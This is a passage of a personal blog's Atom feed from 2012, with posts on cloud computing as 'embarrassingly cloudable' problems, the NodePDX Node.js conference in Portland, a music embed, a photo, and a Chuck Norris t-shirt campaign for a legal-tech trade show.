			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;img src=&#34;cloud.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;These days the world is abuzz with &lt;a href=&#34;https://twitter.com/#!/search/cloud&#34;&gt;talk&lt;/a&gt; of cloud computing. Many of the more experienced developers out there chuckle at the term cloud computing. No one seems to know &lt;a href=&#34;http://en.wikipedia.org/wiki/Cloud_computing&#34;&gt;what cloud computing is&lt;/a&gt;, exactly, but everyone seems to be talking about it, offering services around it and has a great new idea for how to &lt;a href=&#34;https://www.google.com/search?q=cloud%20revolutionize&#34;&gt;revolutionize&lt;/a&gt; something using it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Anyone who made it through the tech world of the nineties will be all too familiar with diagrams like the following:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;exchange-example.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note the &lt;strong&gt;internet cloud&lt;/strong&gt;.&#xA;The cloud symbol, in PowerPoint diagrams everywhere, always meant &amp;quot;something complicated that just works&amp;quot;. It might be the internet. It might be the phone network. It might be some other opaque process that you just don&#39;t care to explain in detail.&lt;/p&gt;&#xA;&lt;p&gt;At its core &amp;quot;cloud&amp;quot; means &amp;quot;ambiguity&amp;quot;. That&#39;s why it&#39;s a cloud. Just like a foggy road at night: you can&#39;t see through it and you can&#39;t understand it. However, the more subtle meaning of the cloud icon is that it&#39;s &lt;em&gt;reliable&lt;/em&gt;. You don&#39;t know how it works or why but you know that the arrow goes in one side and comes out the other and you can rely on that behaviour.&lt;/p&gt;&#xA;&lt;p&gt;This is what we mean by cloud computing. It&#39;s reliable and it&#39;s a black box. It doesn&#39;t matter how it works or what it does as long as it continues to work. That&#39;s someone else&#39;s problem. I&#39;m sure they have detailed diagrams somewhere that explain how the cloud works (and those diagrams probably have OTHER clouds in them for services they depend on that just work that they don&#39;t feel like explaining).&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-else-does-it-mean&#34;&gt;What else does it mean?&lt;/h3&gt;&#xA;&lt;p&gt;Cloud computing has come to mean something a bit more detailed. In fact, there are more detailed terms to talk about all the various things cloud computing is. It&#39;s more of a collective term to describe a variety of services for modern computing needs. You may have heard of SaaS aka &amp;quot;Software as a Service&amp;quot;. Then there&#39;s IaaS, PaaS, and lots of other *aaS things out there. The key part is &amp;quot;as a service&amp;quot;. The service part means someone else does it for you so you don&#39;t have to.&lt;/p&gt;&#xA;&lt;p&gt;There&#39;s storage in the cloud, music in the cloud, friends in the cloud, applications in the cloud. &lt;strong&gt;There are services out there, on the internet, that do things for you so you don&#39;t have to.&lt;/strong&gt; They organize and store your music for you and give you access to it from anywhere that has an internet connection. They can even suggest new music for you that you haven&#39;t heard about. They can do that with movies too. Great! No need for CDs, video tapes, VCRs, etc.. No more self-managed media access/devices. There are email services so you don&#39;t have to run a local Exchange server. Yada yada yada.&lt;/p&gt;&#xA;&lt;h3 id=&#34;embarrassinglyparallel&#34;&gt;Embarrassingly Parallel&lt;/h3&gt;&#xA;&lt;p&gt;A while back the computing world was obsessed with &lt;a href=&#34;http://en.wikipedia.org/wiki/Parallel_programming_model&#34;&gt;parallel programming&lt;/a&gt;. Actually, we still are but people aren&#39;t talking about it quite as much as they were a couple of years ago. Why was it such a big deal then? We kind of &lt;a href=&#34;http://ask.metafilter.com/78227/Why-did-CPUs-stop-getting-faster-about-5-years-ago&#34;&gt;hit a wall&lt;/a&gt; with &lt;a href=&#34;http://en.wikipedia.org/wiki/Moores_law&#34;&gt;Moore&#39;s Law&lt;/a&gt;. Processors couldn&#39;t get significantly faster, so code had to either get faster or more parallelized. Not everything can get faster or be parallelized but usually things that can&#39;t get faster can get parallelized.&lt;/p&gt;&#xA;&lt;p&gt;However there are quite a few programming problems which could be parallelized but weren&#39;t. Those things became known as &amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Embarrassingly_parallel&#34;&gt;embarrassingly parallel&lt;/a&gt;&amp;quot; problems (note: this term has been in use for a LONG time, far before a few years ago). Embarrassing, IMO, because they should have been parallelized from the beginning because they are so well suited to parallelization. The fact that they weren&#39;t parallel already meant we just didn&#39;t care about efficiency because Moore&#39;s Law made efficiency seem pointless to spend time on.&lt;/p&gt;&#xA;&lt;p&gt;This should also be applied to cloud computing and we can use the term &amp;quot;&lt;strong&gt;embarrassingly cloudable&lt;/strong&gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-areembarrassinglycloudable-problems&#34;&gt;What are Embarrassingly Cloudable Problems&lt;/h3&gt;&#xA;&lt;p&gt;Every product that exists and thrives in the internet ecosystem needs a host of services to play well in that environment. At the basic level, it needs a machine with an OS to run on, network access, possibly a database to store information in, possibly a runtime environment like the JVM, CLR, or Ruby. Those things are the core services offered by the IaaS and PaaS offerings we have today. But we can take this a bit further... what about user and identity management? What about social networking? These are all things we want to have in every application on the internet but end up re-writing OVER and OVER again and never see the benefit of &amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Economies_of_scale&#34;&gt;economies of scale&lt;/a&gt;&amp;quot; that a centralized resource would have.&lt;/p&gt;&#xA;&lt;p&gt;A list of some common embarrassingly cloudable problems:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Operating Systems&lt;/li&gt;&#xA;&lt;li&gt;Networking and Network Security&lt;/li&gt;&#xA;&lt;li&gt;Configuration Management&lt;/li&gt;&#xA;&lt;li&gt;Continuous Integration and Automated Deployment&lt;/li&gt;&#xA;&lt;li&gt;Databases and File Storage&lt;/li&gt;&#xA;&lt;li&gt;Logging&lt;/li&gt;&#xA;&lt;li&gt;User and identity management and authentication&lt;/li&gt;&#xA;&lt;li&gt;Social graphs and networking&lt;/li&gt;&#xA;&lt;li&gt;Performance Management/Monitoring (thanks &lt;a href=&#34;https://twitter.com/#!/bobuva&#34;&gt;@bobuva&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Routing, proxying and cacheing&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Take a moment and think through your current product/project. How much of what you spend time on could be moved into a &amp;quot;cloud-based service&amp;quot; (aka, something you didn&#39;t write, you don&#39;t manage but fulfills its function reliably and in a generalized multi-tenant manner)? What pieces are cross-cutting through numerous applications? You might be surprised that there is probably already a service available to replace that for you.&lt;/p&gt;&#xA;&lt;p&gt;Don&#39;t repeat yourself and don&#39;t waste time managing things that aren&#39;t part of your company&#39;s core competency or aren&#39;t relevant to your product&#39;s primary differentiators. Don&#39;t roll your own. If you are, you should be embarrassed.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;img src=&#34;cloud.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;These days the world is abuzz with &lt;a href=&#34;https://twitter.com/#!/search/cloud&#34;&gt;talk&lt;/a&gt; of cloud computing. Many of the more experienced developers out there chuckle at the term cloud computing. No one seems to know &lt;a href=&#34;http://en.wikipedia.org/wiki/Cloud_computing&#34;&gt;what cloud computing is&lt;/a&gt;, exactly, but everyone seems to be talking about it, offering services around it and has a great new idea for how to &lt;a href=&#34;https://www.google.com/search?q=cloud%20revolutionize&#34;&gt;revolutionize&lt;/a&gt; something using it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Anyone who made it through the tech world of the nineties will be all too familiar with diagrams like the following:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;exchange-example.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note the &lt;strong&gt;internet cloud&lt;/strong&gt;.&#xA;The cloud symbol, in PowerPoint diagrams everywhere, always meant &amp;quot;something complicated that just works&amp;quot;. It might be the internet. It might be the phone network. It might be some other opaque process that you just don&#39;t care to explain in detail.&lt;/p&gt;&#xA;&lt;p&gt;At its core &amp;quot;cloud&amp;quot; means &amp;quot;ambiguity&amp;quot;. That&#39;s why it&#39;s a cloud. Just like a foggy road at night: you can&#39;t see through it and you can&#39;t understand it. However, the more subtle meaning of the cloud icon is that it&#39;s &lt;em&gt;reliable&lt;/em&gt;. You don&#39;t know how it works or why but you know that the arrow goes in one side and comes out the other and you can rely on that behaviour.&lt;/p&gt;&#xA;&lt;p&gt;This is what we mean by cloud computing. It&#39;s reliable and it&#39;s a black box. It doesn&#39;t matter how it works or what it does as long as it continues to work. That&#39;s someone else&#39;s problem. I&#39;m sure they have detailed diagrams somewhere that explain how the cloud works (and those diagrams probably have OTHER clouds in them for services they depend on that just work that they don&#39;t feel like explaining).&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-else-does-it-mean&#34;&gt;What else does it mean?&lt;/h3&gt;&#xA;&lt;p&gt;Cloud computing has come to mean something a bit more detailed. In fact, there are more detailed terms to talk about all the various things cloud computing is. It&#39;s more of a collective term to describe a variety of services for modern computing needs. You may have heard of SaaS aka &amp;quot;Software as a Service&amp;quot;. Then there&#39;s IaaS, PaaS, and lots of other *aaS things out there. The key part is &amp;quot;as a service&amp;quot;. The service part means someone else does it for you so you don&#39;t have to.&lt;/p&gt;&#xA;&lt;p&gt;There&#39;s storage in the cloud, music in the cloud, friends in the cloud, applications in the cloud. &lt;strong&gt;There are services out there, on the internet, that do things for you so you don&#39;t have to.&lt;/strong&gt; They organize and store your music for you and give you access to it from anywhere that has an internet connection. They can even suggest new music for you that you haven&#39;t heard about. They can do that with movies too. Great! No need for CDs, video tapes, VCRs, etc.. No more self-managed media access/devices. There are email services so you don&#39;t have to run a local Exchange server. Yada yada yada.&lt;/p&gt;&#xA;&lt;h3 id=&#34;embarrassinglyparallel&#34;&gt;Embarrassingly Parallel&lt;/h3&gt;&#xA;&lt;p&gt;A while back the computing world was obsessed with &lt;a href=&#34;http://en.wikipedia.org/wiki/Parallel_programming_model&#34;&gt;parallel programming&lt;/a&gt;. Actually, we still are but people aren&#39;t talking about it quite as much as they were a couple of years ago. Why was it such a big deal then? We kind of &lt;a href=&#34;http://ask.metafilter.com/78227/Why-did-CPUs-stop-getting-faster-about-5-years-ago&#34;&gt;hit a wall&lt;/a&gt; with &lt;a href=&#34;http://en.wikipedia.org/wiki/Moores_law&#34;&gt;Moore&#39;s Law&lt;/a&gt;. Processors couldn&#39;t get significantly faster, so code had to either get faster or more parallelized. Not everything can get faster or be parallelized but usually things that can&#39;t get faster can get parallelized.&lt;/p&gt;&#xA;&lt;p&gt;However there are quite a few programming problems which could be parallelized but weren&#39;t. Those things became known as &amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Embarrassingly_parallel&#34;&gt;embarrassingly parallel&lt;/a&gt;&amp;quot; problems (note: this term has been in use for a LONG time, far before a few years ago). Embarrassing, IMO, because they should have been parallelized from the beginning because they are so well suited to parallelization. The fact that they weren&#39;t parallel already meant we just didn&#39;t care about efficiency because Moore&#39;s Law made efficiency seem pointless to spend time on.&lt;/p&gt;&#xA;&lt;p&gt;This should also be applied to cloud computing and we can use the term &amp;quot;&lt;strong&gt;embarrassingly cloudable&lt;/strong&gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-areembarrassinglycloudable-problems&#34;&gt;What are Embarrassingly Cloudable Problems&lt;/h3&gt;&#xA;&lt;p&gt;Every product that exists and thrives in the internet ecosystem needs a host of services to play well in that environment. At the basic level, it needs a machine with an OS to run on, network access, possibly a database to store information in, possibly a runtime environment like the JVM, CLR, or Ruby. Those things are the core services offered by the IaaS and PaaS offerings we have today. But we can take this a bit further... what about user and identity management? What about social networking? These are all things we want to have in every application on the internet but end up re-writing OVER and OVER again and never see the benefit of &amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Economies_of_scale&#34;&gt;economies of scale&lt;/a&gt;&amp;quot; that a centralized resource would have.&lt;/p&gt;&#xA;&lt;p&gt;A list of some common embarrassingly cloudable problems:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Operating Systems&lt;/li&gt;&#xA;&lt;li&gt;Networking and Network Security&lt;/li&gt;&#xA;&lt;li&gt;Configuration Management&lt;/li&gt;&#xA;&lt;li&gt;Continuous Integration and Automated Deployment&lt;/li&gt;&#xA;&lt;li&gt;Databases and File Storage&lt;/li&gt;&#xA;&lt;li&gt;Logging&lt;/li&gt;&#xA;&lt;li&gt;User and identity management and authentication&lt;/li&gt;&#xA;&lt;li&gt;Social graphs and networking&lt;/li&gt;&#xA;&lt;li&gt;Performance Management/Monitoring (thanks &lt;a href=&#34;https://twitter.com/#!/bobuva&#34;&gt;@bobuva&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Routing, proxying and cacheing&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Take a moment and think through your current product/project. How much of what you spend time on could be moved into a &amp;quot;cloud-based service&amp;quot; (aka, something you didn&#39;t write, you don&#39;t manage but fulfills its function reliably and in a generalized multi-tenant manner)? What pieces are cross-cutting through numerous applications? You might be surprised that there is probably already a service available to replace that for you.&lt;/p&gt;&#xA;&lt;p&gt;Don&#39;t repeat yourself and don&#39;t waste time managing things that aren&#39;t part of your company&#39;s core competency or aren&#39;t relevant to your product&#39;s primary differentiators. Don&#39;t roll your own. If you are, you should be embarrassed.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>bratmatic</title>
		<id>https://blog.thoward37.me/articles/bratmatic</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/bratmatic" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/bratmatic" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/bratmatic" type="text/html"></link>
		<published>2012-03-12T16:01:00+00:00</published>
		<updated>2012-03-12T16:01:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;iframe width=&#34;100%&#34; height=&#34;450&#34; scrolling=&#34;no&#34; frameborder=&#34;no&#34; src=&#34;https://w.soundcloud.com/player/?url=http%3A%2F%2Fapi.soundcloud.com%2Fplaylists%2F1736666&#34;&gt;&lt;/iframe&gt;&#xA;</summary>
		<content type="html">&lt;iframe width=&#34;100%&#34; height=&#34;450&#34; scrolling=&#34;no&#34; frameborder=&#34;no&#34; src=&#34;https://w.soundcloud.com/player/?url=http%3A%2F%2Fapi.soundcloud.com%2Fplaylists%2F1736666&#34;&gt;&lt;/iframe&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Coding by Moonlight</title>
		<id>https://blog.thoward37.me/articles/coding-by-moonlight</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/coding-by-moonlight" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/coding-by-moonlight" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/coding-by-moonlight" type="text/html"></link>
		<published>2012-03-08T20:37:30+00:00</published>
		<updated>2012-03-08T20:37:30+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;img src=&#34;rooftop.jpg&#34; alt=&#34;Rooftop view, Portland, Oregon&#34; /&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;img src=&#34;rooftop.jpg&#34; alt=&#34;Rooftop view, Portland, Oregon&#34; /&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>NodePDX: The Tech Conference Not to Miss</title>
		<id>https://blog.thoward37.me/articles/nodepdx-the-tech-conference-not-to-miss</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/nodepdx-the-tech-conference-not-to-miss" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/nodepdx-the-tech-conference-not-to-miss" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/nodepdx-the-tech-conference-not-to-miss" type="text/html"></link>
		<published>2012-02-07T13:55:17+00:00</published>
		<updated>2012-02-07T13:55:17+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;img src=&#34;logo.png&#34; alt=&#34;nodepdx logo&#34; /&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;some-reflection-on-nodejs&#34;&gt;Some Reflection On Node.js&lt;/h4&gt;&#xA;&lt;p&gt;Node.js is a strange beast. It&#39;s a technology that might just be worth the hype surrounding it. In this day an age, when everyone expects ‘viral&#39; to be part of their marketing campaign, when something actually does become popular rapidly and ends up with a bunch of people talking about it, it&#39;s easy to discount the validity of the hype. Especially when it&#39;s something as unexpected as serious developers being outspoken about how amazing JavaScript is.&lt;/p&gt;&#xA;&lt;p&gt;It&#39;s almost like you&#39;re living inside of a bad joke... But I gotta tell you all, this is no joke. Node.js really is all that and it doesn&#39;t matter what the business folks say, what the marketing folks say or what the jaded developer to your left snidely derides. This is serious technology and it&#39;s relevant.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;why-portland&#34;&gt;Why Portland?&lt;/h4&gt;&#xA;&lt;p&gt;So you all have seen &lt;a href=&#34;http://www.ifc.com/shows/portlandia&#34;&gt;Portlandia&lt;/a&gt;, right? Well, it&#39;s true. We here in Portland are a bit off our rockers and we&#39;re passionate about a lot of things. We&#39;re living proof that even though idealism may not apply globally, it can certainly live in a bubble and work here. As you might expect, we have a very idealistic software development community here.&lt;/p&gt;&#xA;&lt;p&gt;This is the land of fancy beer drinking beardos and blue haired pierced-&#39;n-tatted gender-benders who crank out wicked bleeding-edge open source code on their sticker-encrusted macbooks and who look at you like you&#39;re speaking a foreign language when you talk about LOB apps, COM+, or &amp;quot;enterprise solutions&amp;quot;. It&#39;s only natural that Portland would become a center for innovation and adoption of emergent technologies. We may not have the vibrant start-up culture of SF or NYC &lt;a href=&#34;http://spotsi.com/&#34;&gt;(&lt;/a&gt; &lt;a href=&#34;http://urbanairship.com/&#34;&gt;or&lt;/a&gt; &lt;a href=&#34;http://newrelic.com/&#34;&gt;do&lt;/a&gt; &lt;a href=&#34;http://appfog.com/&#34;&gt;we&lt;/a&gt; &lt;a href=&#34;http://cedexis.com/&#34;&gt;?&lt;/a&gt; &lt;a href=&#34;http://piepdx.com/&#34;&gt;)&lt;/a&gt; but I guarantee you we care about technology more than your average bear.&lt;/p&gt;&#xA;&lt;h4 id=&#34;nodepdx--nodejs--portland&#34;&gt;NodePDX == Node.js + Portland&lt;/h4&gt;&#xA;&lt;p&gt;Portland was a natural environment for hosting the two main conferences of 2011 for JavaScript and Node.js. Apparently the weather scared them away. While &lt;a href=&#34;http://www.nodeconf.com/&#34;&gt;NodeConf&lt;/a&gt; will be returning this summer, &lt;a href=&#34;http://nodesummit.com/&#34;&gt;NodeSummit&lt;/a&gt; took place in sunny business-friendly San Francisco and &lt;a href=&#34;http://2012.jsconf.us/&#34;&gt;JSConf&lt;/a&gt; has chosen the dusty and dry environs of Scottsdale, Arizona this year (yep, PDX has 384% the rainfall, and we &lt;del&gt;deal with&lt;/del&gt; love it!).&lt;/p&gt;&#xA;&lt;p&gt;Well, we still admire JavaScript here in Portland. Business interest or no business interest, we want to share, talk and hack together as a community indulging in our excitement for what has already been called the &amp;quot;Technology of The Year&amp;quot; for 2012 (who decides these things anyway?).&lt;/p&gt;&#xA;&lt;p&gt;That&#39;s what NodePDX is all about. This is a grassroots, independent, non-commercial conference. That means that everything is donated. Everything, including the event venue (thanks &lt;a href=&#34;http://nedspace.com/&#34;&gt;NedSpace&lt;/a&gt;), the screen, the microphone (thanks &lt;a href=&#34;http://piepdx.com/&#34;&gt;PIE)&lt;/a&gt;, the projector, the t-shirts, the on-site massage therapist (thanks &lt;a href=&#34;http://appfog.com/&#34;&gt;AppFog&lt;/a&gt;), the logo (thanks Julie), and even the hosted open-bar after party (thanks &lt;a href=&#34;http://newrelic.com/&#34;&gt;New Relic&lt;/a&gt;)... oh, and all the speakers, and the volunteers, who are doing this out of their passion for legit technology, without even thinking about money (not that we have anything against money. We love money. It allows us to buy beer, laptops and food... Without those things we couldn&#39;t hack on JS all day and night, duh).&lt;/p&gt;&#xA;&lt;p&gt;So, put on your thinking cap (and if you&#39;re not from here, grab your umbrella) and come join us for a couple days of raw geekery. I guarantee you&#39;ll learn something and have a good time doing it.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;img src=&#34;logo.png&#34; alt=&#34;nodepdx logo&#34; /&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;some-reflection-on-nodejs&#34;&gt;Some Reflection On Node.js&lt;/h4&gt;&#xA;&lt;p&gt;Node.js is a strange beast. It&#39;s a technology that might just be worth the hype surrounding it. In this day an age, when everyone expects ‘viral&#39; to be part of their marketing campaign, when something actually does become popular rapidly and ends up with a bunch of people talking about it, it&#39;s easy to discount the validity of the hype. Especially when it&#39;s something as unexpected as serious developers being outspoken about how amazing JavaScript is.&lt;/p&gt;&#xA;&lt;p&gt;It&#39;s almost like you&#39;re living inside of a bad joke... But I gotta tell you all, this is no joke. Node.js really is all that and it doesn&#39;t matter what the business folks say, what the marketing folks say or what the jaded developer to your left snidely derides. This is serious technology and it&#39;s relevant.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;why-portland&#34;&gt;Why Portland?&lt;/h4&gt;&#xA;&lt;p&gt;So you all have seen &lt;a href=&#34;http://www.ifc.com/shows/portlandia&#34;&gt;Portlandia&lt;/a&gt;, right? Well, it&#39;s true. We here in Portland are a bit off our rockers and we&#39;re passionate about a lot of things. We&#39;re living proof that even though idealism may not apply globally, it can certainly live in a bubble and work here. As you might expect, we have a very idealistic software development community here.&lt;/p&gt;&#xA;&lt;p&gt;This is the land of fancy beer drinking beardos and blue haired pierced-&#39;n-tatted gender-benders who crank out wicked bleeding-edge open source code on their sticker-encrusted macbooks and who look at you like you&#39;re speaking a foreign language when you talk about LOB apps, COM+, or &amp;quot;enterprise solutions&amp;quot;. It&#39;s only natural that Portland would become a center for innovation and adoption of emergent technologies. We may not have the vibrant start-up culture of SF or NYC &lt;a href=&#34;http://spotsi.com/&#34;&gt;(&lt;/a&gt; &lt;a href=&#34;http://urbanairship.com/&#34;&gt;or&lt;/a&gt; &lt;a href=&#34;http://newrelic.com/&#34;&gt;do&lt;/a&gt; &lt;a href=&#34;http://appfog.com/&#34;&gt;we&lt;/a&gt; &lt;a href=&#34;http://cedexis.com/&#34;&gt;?&lt;/a&gt; &lt;a href=&#34;http://piepdx.com/&#34;&gt;)&lt;/a&gt; but I guarantee you we care about technology more than your average bear.&lt;/p&gt;&#xA;&lt;h4 id=&#34;nodepdx--nodejs--portland&#34;&gt;NodePDX == Node.js + Portland&lt;/h4&gt;&#xA;&lt;p&gt;Portland was a natural environment for hosting the two main conferences of 2011 for JavaScript and Node.js. Apparently the weather scared them away. While &lt;a href=&#34;http://www.nodeconf.com/&#34;&gt;NodeConf&lt;/a&gt; will be returning this summer, &lt;a href=&#34;http://nodesummit.com/&#34;&gt;NodeSummit&lt;/a&gt; took place in sunny business-friendly San Francisco and &lt;a href=&#34;http://2012.jsconf.us/&#34;&gt;JSConf&lt;/a&gt; has chosen the dusty and dry environs of Scottsdale, Arizona this year (yep, PDX has 384% the rainfall, and we &lt;del&gt;deal with&lt;/del&gt; love it!).&lt;/p&gt;&#xA;&lt;p&gt;Well, we still admire JavaScript here in Portland. Business interest or no business interest, we want to share, talk and hack together as a community indulging in our excitement for what has already been called the &amp;quot;Technology of The Year&amp;quot; for 2012 (who decides these things anyway?).&lt;/p&gt;&#xA;&lt;p&gt;That&#39;s what NodePDX is all about. This is a grassroots, independent, non-commercial conference. That means that everything is donated. Everything, including the event venue (thanks &lt;a href=&#34;http://nedspace.com/&#34;&gt;NedSpace&lt;/a&gt;), the screen, the microphone (thanks &lt;a href=&#34;http://piepdx.com/&#34;&gt;PIE)&lt;/a&gt;, the projector, the t-shirts, the on-site massage therapist (thanks &lt;a href=&#34;http://appfog.com/&#34;&gt;AppFog&lt;/a&gt;), the logo (thanks Julie), and even the hosted open-bar after party (thanks &lt;a href=&#34;http://newrelic.com/&#34;&gt;New Relic&lt;/a&gt;)... oh, and all the speakers, and the volunteers, who are doing this out of their passion for legit technology, without even thinking about money (not that we have anything against money. We love money. It allows us to buy beer, laptops and food... Without those things we couldn&#39;t hack on JS all day and night, duh).&lt;/p&gt;&#xA;&lt;p&gt;So, put on your thinking cap (and if you&#39;re not from here, grab your umbrella) and come join us for a couple days of raw geekery. I guarantee you&#39;ll learn something and have a good time doing it.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Chuck Norris vs Shift</title>
		<id>https://blog.thoward37.me/articles/chuck-norris-vs-shift</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/chuck-norris-vs-shift" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/chuck-norris-vs-shift" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/chuck-norris-vs-shift" type="text/html"></link>
		<published>2012-01-27T08:02:51+00:00</published>
		<updated>2012-01-27T08:02:51+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;h1 id=&#34;chuck-norris-vs-shift&#34;&gt;Chuck Norris vs Shift&lt;/h1&gt;&#xA;&lt;p&gt;It&#39;s my second to last day at &lt;a href=&#34;http://discover-e-legal.com&#34;&gt;discover-e Legal &lt;/a&gt; before moving on to &lt;a href=&#34;http://appfog.com&#34;&gt;AppFog&lt;/a&gt; and it&#39;s probably the most important day of the year for the company.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Every year, and only once a year, there&#39;s a huge industry trade show called &lt;a href=&#34;http://www.legaltechshow.com&#34;&gt;LegalTech New York&lt;/a&gt;. Every company in the industry shows up there and so does every buyer. They all vie for one another&#39;s attention for three days and if you&#39;re lucky, you end up being the company with the product that gets talked about for the next nine months of the year afterwards.&lt;/p&gt;&#xA;&lt;p&gt;Were going to be there to pimp the latest and greatest features in our online data processing product, &lt;a href=&#34;http://shiftondemand.com&#34;&gt;shift&lt;/a&gt;. We didn&#39;t have much of a marketing campaign put together so over the course of the last week we just kind of went &lt;a href=&#34;http://www.youtube.com/watch?v=LkCNJRfSZBU&#34;&gt;Leeroy Jenkins&lt;/a&gt; with it and started a campaign based around the one, the only, &lt;strong&gt;Chuck &lt;strong&gt;&lt;em&gt;freaking&lt;/em&gt;&lt;/strong&gt; Norris!!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So we started this twitter account: &lt;a href=&#34;http://twitter.com/ChuckNorrisofLT&#34;&gt;@ChuckNorrisofLT&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;...and then we were like &amp;quot;oh and we need T-SHIRTS!!!!&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;So this happened:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;chuck-norris-shift-paths.png&#34; alt=&#34;t-shirt mockup&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And thanks to my good friend &lt;a href=&#34;mailto:Brian@bluemillscreenprint.com&#34;&gt;Brian Bloodgood&lt;/a&gt; over at &lt;a href=&#34;http://bluemillscreenprint.com&#34;&gt;Blue Mill Screen Printing&lt;/a&gt;, there will be 100 of these, for-real, in only a day or two. You rock!!!&lt;/p&gt;&#xA;&lt;h3 id=&#34;update&#34;&gt;UPDATE!!&lt;/h3&gt;&#xA;&lt;p&gt;Walla-walla-bing-bam-boom! Blue Mill pulled off a turn around of less than 24 hours on 100 shirts!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;shirts1.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;shirts2.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;shirts3.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;shirts4.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;</summary>
